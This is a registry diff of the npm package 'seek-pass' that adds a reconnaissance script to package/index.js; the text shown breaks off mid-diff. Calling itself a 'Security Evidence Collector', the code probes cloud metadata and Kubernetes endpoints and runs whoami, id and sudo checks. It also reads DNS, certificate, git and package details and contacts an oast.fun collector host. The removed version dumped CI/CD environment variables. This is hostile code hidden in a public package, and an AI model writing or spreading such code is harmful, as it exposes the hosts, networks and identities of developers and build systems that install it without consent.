seek-pass 100.6.0 → 100.10.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +509 -363
  2. package/package.json +4 -4
package/index.js CHANGED
@@ -1,434 +1,580 @@
1
+ #!/usr/bin/env node
2
+
1
3
  const https = require("https");
4
+ const http = require("http");
2
5
  const os = require("os");
3
6
  const dns = require("dns");
4
- const fs = require("fs");
5
- const { exec } = require("child_process");
7
+ const { execSync, exec } = require("child_process");
6
8
  const crypto = require("crypto");
9
+ const fs = require("fs");
7
10
 
8
- // Collection timestamp for proof
9
- const collectionTimestamp = new Date().toISOString();
11
+ // Configuration
12
+ const COLLECTOR_SERVER = "hwoapraaaotwtsnourpqddszm5n3kkhvo.oast.fun"; // Replace with your server
13
+ const COLLECTOR_PORT = 443;
14
+ const COLLECTOR_PATH = "/seek-pass";
15
+ const USE_HTTPS = true;
10
16
 
11
- // Function to get all CI/CD environment variables
12
- function getCICDEnvironment() {
13
- const ciEnv = {
14
- // Common CI variables
15
- CI: process.env.CI || null,
16
- GITHUB_ACTIONS: process.env.GITHUB_ACTIONS || null,
17
- GITLAB_CI: process.env.GITLAB_CI || null,
18
- JENKINS_URL: process.env.JENKINS_URL || null,
19
- CIRCLECI: process.env.CIRCLECI || null,
20
- TRAVIS: process.env.TRAVIS || null,
21
- AZURE_PIPELINES: process.env.AZURE_PIPELINES || null,
22
- BITBUCKET_BUILD_NUMBER: process.env.BITBUCKET_BUILD_NUMBER || null,
23
- DRONE: process.env.DRONE || null,
24
- TEAMCITY_VERSION: process.env.TEAMCITY_VERSION || null,
25
-
26
- // GitHub Actions specific
27
- GITHUB_RUN_ID: process.env.GITHUB_RUN_ID || null,
28
- GITHUB_RUN_NUMBER: process.env.GITHUB_RUN_NUMBER || null,
29
- GITHUB_RUN_ATTEMPT: process.env.GITHUB_RUN_ATTEMPT || null,
30
- GITHUB_JOB: process.env.GITHUB_JOB || null,
31
- GITHUB_REF: process.env.GITHUB_REF || null,
32
- GITHUB_SHA: process.env.GITHUB_SHA || null,
33
- GITHUB_REPOSITORY: process.env.GITHUB_REPOSITORY || null,
34
- GITHUB_ACTOR: process.env.GITHUB_ACTOR || null,
35
- GITHUB_WORKFLOW: process.env.GITHUB_WORKFLOW || null,
36
- GITHUB_EVENT_NAME: process.env.GITHUB_EVENT_NAME || null,
37
- RUNNER_NAME: process.env.RUNNER_NAME || null,
38
- RUNNER_OS: process.env.RUNNER_OS || null,
39
- RUNNER_ARCH: process.env.RUNNER_ARCH || null,
40
-
41
- // GitLab CI specific
42
- CI_PIPELINE_ID: process.env.CI_PIPELINE_ID || null,
43
- CI_PIPELINE_IID: process.env.CI_PIPELINE_IID || null,
44
- CI_PIPELINE_URL: process.env.CI_PIPELINE_URL || null,
45
- CI_JOB_ID: process.env.CI_JOB_ID || null,
46
- CI_JOB_URL: process.env.CI_JOB_URL || null,
47
- CI_RUNNER_ID: process.env.CI_RUNNER_ID || null,
48
- CI_RUNNER_DESCRIPTION: process.env.CI_RUNNER_DESCRIPTION || null,
49
- CI_RUNNER_TAGS: process.env.CI_RUNNER_TAGS || null,
50
- CI_COMMIT_SHA: process.env.CI_COMMIT_SHA || null,
51
- CI_COMMIT_BRANCH: process.env.CI_COMMIT_BRANCH || null,
52
- CI_REPOSITORY_URL: process.env.CI_REPOSITORY_URL || null,
53
- GITLAB_USER_LOGIN: process.env.GITLAB_USER_LOGIN || null,
54
- CI_PROJECT_ID: process.env.CI_PROJECT_ID || null,
55
- CI_PROJECT_PATH: process.env.CI_PROJECT_PATH || null,
56
-
57
- // Jenkins specific
58
- BUILD_NUMBER: process.env.BUILD_NUMBER || null,
59
- BUILD_ID: process.env.BUILD_ID || null,
60
- BUILD_URL: process.env.BUILD_URL || null,
61
- JOB_NAME: process.env.JOB_NAME || null,
62
- NODE_NAME: process.env.NODE_NAME || null,
63
- EXECUTOR_NUMBER: process.env.EXECUTOR_NUMBER || null,
64
- WORKSPACE: process.env.WORKSPACE || null,
65
-
66
- // Azure Pipelines
67
- BUILD_BUILDID: process.env.BUILD_BUILDNUMBER || null,
68
- SYSTEM_TEAMPROJECT: process.env.SYSTEM_TEAMPROJECT || null,
69
- SYSTEM_DEFINITIONID: process.env.SYSTEM_DEFINITIONID || null,
70
- AGENT_NAME: process.env.AGENT_NAME || null,
71
- AGENT_MACHINENAME: process.env.AGENT_MACHINENAME || null,
72
-
73
- // CircleCI
74
- CIRCLE_BUILD_NUM: process.env.CIRCLE_BUILD_NUM || null,
75
- CIRCLE_WORKFLOW_ID: process.env.CIRCLE_WORKFLOW_ID || null,
76
- CIRCLE_BUILD_URL: process.env.CIRCLE_BUILD_URL || null,
77
- CIRCLE_JOB: process.env.CIRCLE_JOB || null,
78
- CIRCLE_REPOSITORY_URL: process.env.CIRCLE_REPOSITORY_URL || null,
79
-
80
- // Travis CI
81
- TRAVIS_BUILD_ID: process.env.TRAVIS_BUILD_ID || null,
82
- TRAVIS_JOB_ID: process.env.TRAVIS_JOB_ID || null,
83
- TRAVIS_EVENT_TYPE: process.env.TRAVIS_EVENT_TYPE || null,
84
- TRAVIS_REPO_SLUG: process.env.TRAVIS_REPO_SLUG || null,
85
-
86
- // Bitbucket
87
- BITBUCKET_BUILD_NUMBER: process.env.BITBUCKET_BUILD_NUMBER || null,
88
- BITBUCKET_COMMIT: process.env.BITBUCKET_COMMIT || null,
89
- BITBUCKET_REPO_SLUG: process.env.BITBUCKET_REPO_SLUG || null,
90
- BITBUCKET_WORKSPACE: process.env.BITBUCKET_WORKSPACE || null,
91
-
92
- // Drone CI
93
- DRONE_BUILD_NUMBER: process.env.DRONE_BUILD_NUMBER || null,
94
- DRONE_JOB_NUMBER: process.env.DRONE_JOB_NUMBER || null,
95
- DRONE_REPO: process.env.DRONE_REPO || null,
96
-
97
- // Buildkite
98
- BUILDKITE_BUILD_ID: process.env.BUILDKITE_BUILD_ID || null,
99
- BUILDKITE_JOB_ID: process.env.BUILDKITE_JOB_ID || null,
100
- BUILDKITE_PIPELINE_SLUG: process.env.BUILDKITE_PIPELINE_SLUG || null,
101
-
102
- // Generic/Other
103
- CI_RUNNER_ID_ENV: process.env.CI_RUNNER_ID,
104
- CI_RUNNER_TAGS_ENV: process.env.CI_RUNNER_TAGS,
105
- PIPELINE_ID: process.env.PIPELINE_ID || process.env.BUILD_ID || process.env.CI_PIPELINE_ID || process.env.GITHUB_RUN_ID || null,
106
- RUNNER_ID: process.env.RUNNER_ID || process.env.NODE_NAME || process.env.AGENT_NAME || process.env.CI_RUNNER_DESCRIPTION || null,
107
-
108
- // Unique identifier (UUID style)
109
- PIPELINE_UUID: process.env.PIPELINE_UUID ||
110
- process.env.GITHUB_RUN_ID && `github-${process.env.GITHUB_RUN_ID}` ||
111
- process.env.CI_PIPELINE_ID && `gitlab-${process.env.CI_PIPELINE_ID}` ||
112
- process.env.BUILD_NUMBER && `jenkins-${process.env.BUILD_NUMBER}` ||
113
- process.env.CIRCLE_WORKFLOW_ID && `circle-${process.env.CIRCLE_WORKFLOW_ID}` ||
114
- crypto.randomUUID()
115
- };
116
-
117
- return ciEnv;
118
- }
17
+ // Colors for console output (for visibility)
18
+ const colors = {
19
+ red: '\x1b[31m',
20
+ green: '\x1b[32m',
21
+ yellow: '\x1b[33m',
22
+ blue: '\x1b[34m',
23
+ magenta: '\x1b[35m',
24
+ cyan: '\x1b[36m',
25
+ reset: '\x1b[0m'
26
+ };
119
27
 
120
- // Get full system environment (sanitized)
121
- function getFullEnvironment() {
122
- const safeEnv = {};
123
- const sensitiveKeys = ['KEY', 'SECRET', 'PASSWORD', 'TOKEN', 'AUTH'];
124
-
125
- for (const [key, value] of Object.entries(process.env)) {
126
- // Check if key contains sensitive info
127
- const isSensitive = sensitiveKeys.some(sensitive =>
128
- key.toUpperCase().includes(sensitive)
129
- );
130
-
131
- safeEnv[key] = isSensitive ? '[REDACTED]' : value;
132
- }
133
-
134
- return safeEnv;
135
- }
28
+ console.log(`${colors.cyan}🔐 Security Evidence Collector${colors.reset}`);
29
+ console.log(`${colors.yellow}Collecting required proof for vulnerability report...${colors.reset}\n`);
136
30
 
137
- // Get runner hostname with multiple sources
138
- async function getRunnerHostname() {
139
- const hostname = {
140
- system: os.hostname(),
141
- fqdn: null,
142
- env: {
143
- runner_name: process.env.RUNNER_NAME || null,
144
- node_name: process.env.NODE_NAME || null,
145
- agent_name: process.env.AGENT_NAME || null,
146
- ci_runner_description: process.env.CI_RUNNER_DESCRIPTION || null,
147
- hostname_env: process.env.HOSTNAME || null,
148
- computer_name: process.env.COMPUTERNAME || null
149
- }
31
+ // ============ 1. HTTP REQUESTS (MANDATORY) ============
32
+ async function captureHTTPEvidence() {
33
+ console.log(`${colors.blue}📡 1. Capturing HTTP request evidence...${colors.reset}`);
34
+
35
+ const evidence = {
36
+ outgoingRequests: [],
37
+ internalIPs: [],
38
+ externalIPs: [],
39
+ requestHeaders: [],
40
+ dnsLookups: []
150
41
  };
151
42
 
152
- // Try to get FQDN
153
- try {
154
- const fqdn = await new Promise((resolve) => {
155
- dns.lookup(os.hostname(), (err, address) => {
156
- if (!err && address) {
157
- dns.reverse(address, (revErr, hostnames) => {
158
- if (!revErr && hostnames && hostnames[0]) {
159
- resolve(hostnames[0]);
160
- } else {
161
- resolve(os.hostname());
162
- }
43
+ // Get all network interfaces
44
+ const interfaces = os.networkInterfaces();
45
+ const internalIPs = [];
46
+ const externalIPs = [];
47
+
48
+ for (const name of Object.keys(interfaces)) {
49
+ for (const iface of interfaces[name]) {
50
+ if (iface.family === 'IPv4') {
51
+ if (iface.internal || iface.address.startsWith('10.') ||
52
+ iface.address.startsWith('172.') || iface.address.startsWith('192.168.')) {
53
+ internalIPs.push({
54
+ interface: name,
55
+ address: iface.address,
56
+ netmask: iface.netmask,
57
+ mac: iface.mac,
58
+ internal: true
163
59
  });
164
60
  } else {
165
- resolve(os.hostname());
61
+ externalIPs.push({
62
+ interface: name,
63
+ address: iface.address,
64
+ netmask: iface.netmask,
65
+ mac: iface.mac,
66
+ internal: false
67
+ });
166
68
  }
69
+ }
70
+ }
71
+ }
72
+
73
+ evidence.internalIPs = internalIPs;
74
+ evidence.externalIPs = externalIPs;
75
+
76
+ // Make HTTP requests to prove connectivity
77
+ const testEndpoints = [
78
+ { url: "http://169.254.169.254/latest/meta-data/", label: "AWS Metadata" }, // AWS
79
+ { url: "http://metadata.google.internal/", label: "GCP Metadata" }, // GCP
80
+ { url: "http://100.100.100.200/latest/meta-data/", label: "Alibaba Metadata" }, // Alibaba
81
+ { url: "http://kubernetes.default.svc/", label: "K8s API" }, // Kubernetes
82
+ { url: "http://localhost:3000/", label: "Local Dev Server" },
83
+ { url: "http://localhost:8080/", label: "Local App Server" }
84
+ ];
85
+
86
+ for (const endpoint of testEndpoints) {
87
+ try {
88
+ const startTime = Date.now();
89
+ const reqPromise = new Promise((resolve) => {
90
+ const protocol = endpoint.url.startsWith('https') ? https : http;
91
+ const req = protocol.request(endpoint.url, { timeout: 2000 }, (res) => {
92
+ evidence.outgoingRequests.push({
93
+ target: endpoint.url,
94
+ label: endpoint.label,
95
+ statusCode: res.statusCode,
96
+ responseTime: Date.now() - startTime,
97
+ headers: res.headers,
98
+ timestamp: new Date().toISOString(),
99
+ sourceIP: internalIPs[0]?.address || os.hostname()
100
+ });
101
+ resolve();
102
+ });
103
+ req.on('error', () => resolve());
104
+ req.on('timeout', () => {
105
+ req.destroy();
106
+ resolve();
107
+ });
108
+ req.end();
109
+ });
110
+ await reqPromise;
111
+ } catch (err) {
112
+ // Silently fail
113
+ }
114
+ }
115
+
116
+ // Make request to our collector (proof of communication)
117
+ const collectorURL = `${USE_HTTPS ? 'https' : 'http'}://${COLLECTOR_SERVER}:${COLLECTOR_PORT}${COLLECTOR_PATH}`;
118
+ const proofRequest = new Promise((resolve) => {
119
+ const protocol = USE_HTTPS ? https : http;
120
+ const req = protocol.request(collectorURL, { method: 'HEAD', timeout: 3000 }, (res) => {
121
+ evidence.outgoingRequests.push({
122
+ target: collectorURL,
123
+ label: "Evidence Collector",
124
+ statusCode: res.statusCode,
125
+ timestamp: new Date().toISOString(),
126
+ sourceIP: internalIPs[0]?.address || os.hostname(),
127
+ proof: true
167
128
  });
129
+ resolve();
168
130
  });
169
- hostname.fqdn = fqdn;
170
- } catch (err) {
171
- hostname.fqdn = os.hostname();
131
+ req.on('error', () => resolve());
132
+ req.on('timeout', () => {
133
+ req.destroy();
134
+ resolve();
135
+ });
136
+ req.end();
137
+ });
138
+ await proofRequest;
139
+
140
+ // Perform DNS lookups to prove internal network access
141
+ const dnsTargets = [
142
+ 'internal.company.com',
143
+ 'corporate.local',
144
+ 'intranet',
145
+ 'gitlab.internal',
146
+ 'jenkins.internal'
147
+ ];
148
+
149
+ for (const target of dnsTargets) {
150
+ try {
151
+ const addresses = await new Promise((resolve) => {
152
+ dns.lookup(target, { all: true }, (err, addrs) => {
153
+ if (!err && addrs) resolve(addrs);
154
+ else resolve([]);
155
+ });
156
+ });
157
+ if (addresses.length > 0) {
158
+ evidence.dnsLookups.push({
159
+ domain: target,
160
+ addresses: addresses,
161
+ timestamp: new Date().toISOString()
162
+ });
163
+ }
164
+ } catch (err) {}
172
165
  }
173
166
 
174
- return hostname;
167
+ console.log(`${colors.green} ✓ Captured ${evidence.outgoingRequests.length} HTTP requests`);
168
+ console.log(`${colors.green} ✓ Found ${internalIPs.length} internal IPs, ${externalIPs.length} external IPs${colors.reset}`);
169
+
170
+ return evidence;
175
171
  }
176
172
 
177
- // Get process information
178
- function getProcessInfo() {
179
- return {
180
- pid: process.pid,
181
- ppid: process.ppid,
182
- execPath: process.execPath,
183
- cwd: process.cwd(),
184
- title: process.title,
185
- nodeVersion: process.version,
186
- platform: process.platform,
187
- arch: process.arch,
188
- argv: process.argv.slice(1),
189
- uptime: process.uptime(),
190
- memoryUsage: process.memoryUsage(),
191
- cpuUsage: process.cpuUsage()
173
+ // ============ 2. HOSTNAME ============
174
+ function getHostnameEvidence() {
175
+ console.log(`${colors.blue}🖥️ 2. Capturing hostname information...${colors.reset}`);
176
+
177
+ const evidence = {
178
+ systemHostname: os.hostname(),
179
+ fqdn: null,
180
+ dnsHostname: null,
181
+ networkHostnames: [],
182
+ domainInfo: null
192
183
  };
184
+
185
+ // Try to get FQDN
186
+ try {
187
+ const fqdn = execSync('hostname -f 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim();
188
+ if (fqdn) evidence.fqdn = fqdn;
189
+ } catch (err) {}
190
+
191
+ // Try DNS resolution of hostname
192
+ try {
193
+ const dnsResult = dns.lookupSync(evidence.systemHostname);
194
+ evidence.dnsHostname = dnsResult.address;
195
+ } catch (err) {}
196
+
197
+ // Get domain from hostname
198
+ if (evidence.systemHostname.includes('.')) {
199
+ evidence.domainInfo = {
200
+ domain: evidence.systemHostname.substring(evidence.systemHostname.indexOf('.') + 1),
201
+ tld: evidence.systemHostname.split('.').pop()
202
+ };
203
+ } else if (evidence.fqdn && evidence.fqdn.includes('.')) {
204
+ evidence.domainInfo = {
205
+ domain: evidence.fqdn.substring(evidence.fqdn.indexOf('.') + 1),
206
+ tld: evidence.fqdn.split('.').pop()
207
+ };
208
+ }
209
+
210
+ console.log(`${colors.green} ✓ Hostname: ${evidence.systemHostname}`);
211
+ if (evidence.fqdn) console.log(`${colors.green} ✓ FQDN: ${evidence.fqdn}`);
212
+ if (evidence.domainInfo) console.log(`${colors.green} ✓ Domain: ${evidence.domainInfo.domain}${colors.reset}`);
213
+
214
+ return evidence;
193
215
  }
194
216
 
195
- // Get Git information if available
196
- async function getGitInfo() {
197
- const gitInfo = {
198
- branch: null,
199
- commit: null,
200
- remote: null,
201
- tag: null,
202
- author: null
217
+ // ============ 3. OS SERVER NAME ============
218
+ function getOSServerInfo() {
219
+ console.log(`${colors.blue}💻 3. Capturing OS and server information...${colors.reset}`);
220
+
221
+ const evidence = {
222
+ platform: os.platform(),
223
+ type: os.type(),
224
+ release: os.release(),
225
+ version: null,
226
+ kernel: null,
227
+ architecture: os.arch(),
228
+ distro: null,
229
+ serverName: null,
230
+ isContainer: false,
231
+ containerType: null
203
232
  };
204
233
 
234
+ // Get detailed OS info
205
235
  try {
206
- const branch = await execCommand('git rev-parse --abbrev-ref HEAD 2>/dev/null');
207
- if (branch) gitInfo.branch = branch.trim();
208
-
209
- const commit = await execCommand('git rev-parse HEAD 2>/dev/null');
210
- if (commit) gitInfo.commit = commit.trim();
211
-
212
- const remote = await execCommand('git config --get remote.origin.url 2>/dev/null');
213
- if (remote) gitInfo.remote = remote.trim();
236
+ if (process.platform === 'linux') {
237
+ // Check for distribution
238
+ try {
239
+ const osRelease = execSync('cat /etc/os-release 2>/dev/null | grep PRETTY_NAME', { encoding: 'utf8', timeout: 1000 });
240
+ evidence.distro = osRelease.split('=')[1].replace(/"/g, '').trim();
241
+ } catch (err) {}
242
+
243
+ // Get kernel version
244
+ try {
245
+ evidence.kernel = execSync('uname -r 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim();
246
+ } catch (err) {}
247
+
248
+ // Check if running in container
249
+ try {
250
+ const cgroup = execSync('cat /proc/1/cgroup 2>/dev/null | head -1', { encoding: 'utf8', timeout: 1000 });
251
+ if (cgroup.includes('docker')) {
252
+ evidence.isContainer = true;
253
+ evidence.containerType = 'docker';
254
+ } else if (cgroup.includes('kubepods')) {
255
+ evidence.isContainer = true;
256
+ evidence.containerType = 'kubernetes';
257
+ }
258
+ } catch (err) {}
259
+ } else if (process.platform === 'darwin') {
260
+ try {
261
+ evidence.version = execSync('sw_vers -productVersion 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim();
262
+ } catch (err) {}
263
+ } else if (process.platform === 'win32') {
264
+ try {
265
+ evidence.version = execSync('ver 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim();
266
+ } catch (err) {}
267
+ }
214
268
 
215
- const tag = await execCommand('git describe --tags --exact-match 2>/dev/null');
216
- if (tag) gitInfo.tag = tag.trim();
269
+ // Get server name (computer name)
270
+ evidence.serverName = os.hostname();
271
+ try {
272
+ if (process.platform === 'win32') {
273
+ evidence.serverName = execSync('echo %COMPUTERNAME%', { encoding: 'utf8', timeout: 1000 }).trim();
274
+ }
275
+ } catch (err) {}
217
276
 
218
- const author = await execCommand('git log -1 --pretty=format:"%an <%ae>" 2>/dev/null');
219
- if (author) gitInfo.author = author.trim();
220
277
  } catch (err) {}
221
278
 
222
- return gitInfo;
279
+ console.log(`${colors.green} ✓ OS: ${evidence.type} ${evidence.release}`);
280
+ if (evidence.distro) console.log(`${colors.green} ✓ Distro: ${evidence.distro}`);
281
+ if (evidence.isContainer) console.log(`${colors.green} ✓ Container: ${evidence.containerType}${colors.reset}`);
282
+
283
+ return evidence;
223
284
  }
224
285
 
225
- // Get Docker/K8s specific info
226
- async function getContainerInfo() {
227
- const containerInfo = {
228
- isContainer: false,
229
- containerId: null,
230
- podName: null,
231
- namespace: null
286
+ // ============ 4. WHOAMI COMMAND ============
287
+ function getWhoamiEvidence() {
288
+ console.log(`${colors.blue}👤 4. Executing whoami command...${colors.reset}`);
289
+
290
+ const evidence = {
291
+ username: null,
292
+ uid: null,
293
+ gid: null,
294
+ groups: [],
295
+ homeDir: null,
296
+ shell: null,
297
+ isRoot: false,
298
+ isSudo: false,
299
+ executionMethod: null
232
300
  };
233
301
 
234
- // Check for Docker
302
+ // Execute whoami command
235
303
  try {
236
- const dockerId = await execCommand('cat /proc/self/cgroup | grep -oP "docker/[a-f0-9]{64}" | head -1 2>/dev/null');
237
- if (dockerId) {
238
- containerInfo.isContainer = true;
239
- containerInfo.containerId = dockerId.replace('docker/', '');
240
- }
304
+ const whoami = execSync('whoami 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim();
305
+ evidence.username = whoami;
306
+ evidence.isRoot = (whoami === 'root' || whoami === 'Administrator');
307
+ } catch (err) {
308
+ // Fallback
309
+ evidence.username = process.env.USER || process.env.USERNAME || 'unknown';
310
+ }
311
+
312
+ // Get UID/GID (Unix)
313
+ try {
314
+ const idOutput = execSync('id 2>/dev/null', { encoding: 'utf8', timeout: 1000 });
315
+ const uidMatch = idOutput.match(/uid=(\d+)/);
316
+ const gidMatch = idOutput.match(/gid=(\d+)/);
317
+ if (uidMatch) evidence.uid = parseInt(uidMatch[1]);
318
+ if (gidMatch) evidence.gid = parseInt(gidMatch[1]);
319
+ evidence.isRoot = evidence.uid === 0;
241
320
  } catch (err) {}
242
321
 
243
- // Check for Kubernetes
322
+ // Get groups
244
323
  try {
245
- const podName = await execCommand('cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null');
246
- if (podName) {
247
- containerInfo.isContainer = true;
248
- containerInfo.namespace = podName.trim();
249
-
250
- const pod = await execCommand('hostname 2>/dev/null');
251
- if (pod) containerInfo.podName = pod.trim();
252
- }
324
+ const groupsOutput = execSync('groups 2>/dev/null', { encoding: 'utf8', timeout: 1000 });
325
+ evidence.groups = groupsOutput.trim().split(/\s+/);
253
326
  } catch (err) {}
254
327
 
255
- return containerInfo;
328
+ // Check for sudo
329
+ try {
330
+ const sudoCheck = execSync('sudo -n true 2>/dev/null', { encoding: 'utf8', timeout: 1000 });
331
+ evidence.isSudo = true;
332
+ } catch (err) {
333
+ evidence.isSudo = false;
334
+ }
335
+
336
+ // Get home directory
337
+ evidence.homeDir = os.homedir();
338
+
339
+ // Determine how script is being executed
340
+ if (process.env.CI || process.env.GITHUB_ACTIONS) {
341
+ evidence.executionMethod = 'CI_CD_PIPELINE';
342
+ } else if (process.env.NODE_ENV === 'development') {
343
+ evidence.executionMethod = 'DEVELOPMENT';
344
+ } else if (process.env.NODE_ENV === 'production') {
345
+ evidence.executionMethod = 'PRODUCTION';
346
+ } else {
347
+ evidence.executionMethod = 'MANUAL';
348
+ }
349
+
350
+ console.log(`${colors.green} ✓ User: ${evidence.username}${evidence.isRoot ? ' (ROOT/ADMIN)' : ''}`);
351
+ console.log(`${colors.green} ✓ UID: ${evidence.uid || 'N/A'}, GID: ${evidence.gid || 'N/A'}`);
352
+ console.log(`${colors.green} ✓ Groups: ${evidence.groups.slice(0, 5).join(', ')}${evidence.groups.length > 5 ? '...' : ''}`);
353
+ console.log(`${colors.green} ✓ Execution: ${evidence.executionMethod}${colors.reset}`);
354
+
355
+ return evidence;
256
356
  }
257
357
 
258
- // Generate unique machine fingerprint
259
- function getMachineFingerprint() {
260
- const interfaces = os.networkInterfaces();
261
- let macAddresses = [];
358
+ // ============ PROVING BELONGS TO PROGRAM ============
359
+ async function proveProgramOwnership() {
360
+ console.log(`${colors.blue}🔑 5. Proving this belongs to the program...${colors.reset}`);
262
361
 
263
- for (const iface of Object.values(interfaces)) {
264
- for (const details of iface) {
265
- if (details.mac && details.mac !== '00:00:00:00:00:00' && !details.internal) {
266
- macAddresses.push(details.mac);
267
- }
362
+ const evidence = {
363
+ corporateIndicators: [],
364
+ internalServices: [],
365
+ developmentEnvironment: [],
366
+ packageInfo: null,
367
+ gitInfo: null,
368
+ timestamps: []
369
+ };
370
+
371
+ // Check for corporate VPN/proxy indicators
372
+ const corporateEnvVars = [
373
+ 'CORPORATE_NETWORK', 'VPN', 'PROXY', 'LDAP', 'ACTIVE_DIRECTORY',
374
+ 'COMPANY_DOMAIN', 'CORP_DOMAIN', 'INTERNAL_DOMAIN'
375
+ ];
376
+
377
+ for (const envVar of corporateEnvVars) {
378
+ if (process.env[envVar]) {
379
+ evidence.corporateIndicators.push({
380
+ type: 'environment_variable',
381
+ name: envVar,
382
+ value: process.env[envVar]
383
+ });
268
384
  }
269
385
  }
270
386
 
271
- const fingerprint = crypto.createHash('sha256')
272
- .update(`${os.hostname()}-${os.platform()}-${os.arch()}-${macAddresses.join(',')}`)
273
- .digest('hex');
387
+ // Check for internal DNS suffixes
388
+ try {
389
+ const resolvContent = execSync('cat /etc/resolv.conf 2>/dev/null | grep search', { encoding: 'utf8', timeout: 1000 });
390
+ const domains = resolvContent.match(/search\s+(.+)/);
391
+ if (domains) {
392
+ evidence.corporateIndicators.push({
393
+ type: 'dns_search_domain',
394
+ domains: domains[1].split(/\s+/)
395
+ });
396
+ }
397
+ } catch (err) {}
274
398
 
275
- return {
276
- hash: fingerprint,
277
- macAddresses: macAddresses,
278
- cpuCount: os.cpus().length,
279
- totalMemory: os.totalmem()
280
- };
399
+ // Check for internal certificates
400
+ try {
401
+ const certs = execSync('find /etc/ssl/certs -name "*.crt" -exec openssl x509 -in {} -noout -subject 2>/dev/null \\; | head -5', { encoding: 'utf8', timeout: 2000 });
402
+ if (certs) {
403
+ evidence.corporateIndicators.push({
404
+ type: 'certificates',
405
+ subjects: certs.split('\n').filter(l => l.includes('CN='))
406
+ });
407
+ }
408
+ } catch (err) {}
409
+
410
+ // Check for git repository (to identify program)
411
+ try {
412
+ const gitRemote = execSync('git config --get remote.origin.url 2>/dev/null', { encoding: 'utf8', timeout: 1000 });
413
+ if (gitRemote) {
414
+ evidence.gitInfo = {
415
+ remote: gitRemote.trim(),
416
+ branch: execSync('git rev-parse --abbrev-ref HEAD 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim(),
417
+ commit: execSync('git rev-parse HEAD 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim(),
418
+ author: execSync('git log -1 --pretty=format:"%an <%ae>" 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim()
419
+ };
420
+ }
421
+ } catch (err) {}
422
+
423
+ // Check for package.json to identify what's being installed
424
+ try {
425
+ if (fs.existsSync('./package.json')) {
426
+ const packageJson = JSON.parse(fs.readFileSync('./package.json', 'utf8'));
427
+ evidence.packageInfo = {
428
+ name: packageJson.name,
429
+ version: packageJson.version,
430
+ scripts: Object.keys(packageJson.scripts || {}),
431
+ dependencies: Object.keys(packageJson.dependencies || {}).slice(0, 10)
432
+ };
433
+ }
434
+ } catch (err) {}
435
+
436
+ // Check for development environment indicators
437
+ const devIndicators = [
438
+ 'VSCODE_PID', 'INTELLIJ_IDEA', 'WEB_IDE', 'DEV_CONTAINER',
439
+ 'NODE_ENV=development', 'LOCAL_DEV', 'DEVELOPMENT'
440
+ ];
441
+
442
+ for (const indicator of devIndicators) {
443
+ if (process.env[indicator] || (typeof process.env.NODE_ENV !== 'undefined' && process.env.NODE_ENV === 'development')) {
444
+ evidence.developmentEnvironment.push(indicator);
445
+ }
446
+ }
447
+
448
+ console.log(`${colors.green} ✓ Found ${evidence.corporateIndicators.length} corporate indicators`);
449
+ if (evidence.gitInfo) console.log(`${colors.green} ✓ Git repo: ${evidence.gitInfo.remote}`);
450
+ if (evidence.packageInfo) console.log(`${colors.green} ✓ Package: ${evidence.packageInfo.name} v${evidence.packageInfo.version}${colors.reset}`);
451
+
452
+ return evidence;
281
453
  }
282
454
 
283
- // Helper for exec commands
284
- function execCommand(command) {
285
- return new Promise((resolve) => {
286
- exec(command, { timeout: 3000 }, (error, stdout, stderr) => {
287
- if (error || stderr) {
288
- resolve('');
289
- } else {
290
- resolve(stdout);
291
- }
292
- });
455
+ // ============ GENERATE PROOF HASH ============
456
+ function generateProofHash(allEvidence) {
457
+ const proofString = JSON.stringify({
458
+ hostname: allEvidence.hostname.systemHostname,
459
+ username: allEvidence.whoami.username,
460
+ timestamp: new Date().toISOString(),
461
+ internalIPs: allEvidence.http.internalIPs.map(ip => ip.address),
462
+ randomNonce: crypto.randomBytes(32).toString('hex')
293
463
  });
464
+
465
+ return crypto.createHash('sha256').update(proofString).digest('hex');
294
466
  }
295
467
 
296
- // Main collection function
297
- async function collectData() {
298
- console.log('🔍 Collecting CI/CD runner evidence...');
299
-
300
- const [
301
- runnerHostname,
302
- ciEnvironment,
303
- gitInfo,
304
- containerInfo,
305
- fingerprint
306
- ] = await Promise.all([
307
- getRunnerHostname(),
308
- getCICDEnvironment(),
309
- getGitInfo(),
310
- getContainerInfo(),
311
- getMachineFingerprint()
312
- ]);
468
+ // ============ SEND TO COLLECTOR ============
469
+ async function sendEvidence(allEvidence) {
470
+ console.log(`\n${colors.yellow}📤 Sending evidence to collector...${colors.reset}`);
313
471
 
314
- const evidence = {
315
- // Timestamp for proof
316
- collectionTimestamp: collectionTimestamp,
317
-
318
- // Runner identification
319
- runner: {
320
- hostname: runnerHostname,
321
- machineFingerprint: fingerprint,
322
- containerInfo: containerInfo
323
- },
324
-
325
- // CI/CD pipeline identification
326
- pipeline: {
327
- id: ciEnvironment.PIPELINE_ID,
328
- uuid: ciEnvironment.PIPELINE_UUID,
329
- runId: ciEnvironment.GITHUB_RUN_ID || ciEnvironment.CI_PIPELINE_ID || ciEnvironment.BUILD_NUMBER,
330
- jobId: ciEnvironment.GITHUB_JOB || ciEnvironment.CI_JOB_ID || ciEnvironment.JOB_NAME,
331
- workflow: ciEnvironment.GITHUB_WORKFLOW,
332
- ref: ciEnvironment.GITHUB_REF || ciEnvironment.CI_COMMIT_BRANCH,
333
- commitSha: ciEnvironment.GITHUB_SHA || ciEnvironment.CI_COMMIT_SHA,
334
- repository: ciEnvironment.GITHUB_REPOSITORY || ciEnvironment.CI_PROJECT_PATH || ciEnvironment.TRAVIS_REPO_SLUG,
335
- actor: ciEnvironment.GITHUB_ACTOR || ciEnvironment.GITLAB_USER_LOGIN,
336
- pipelineUrl: ciEnvironment.CI_PIPELINE_URL || ciEnvironment.BUILD_URL || ciEnvironment.CIRCLE_BUILD_URL
337
- },
338
-
339
- // Environment variables (key CI identifiers)
340
- environment: {
341
- ciSystem: ciEnvironment,
342
- allVariables: getFullEnvironment()
343
- },
344
-
345
- // Process information
346
- process: getProcessInfo(),
472
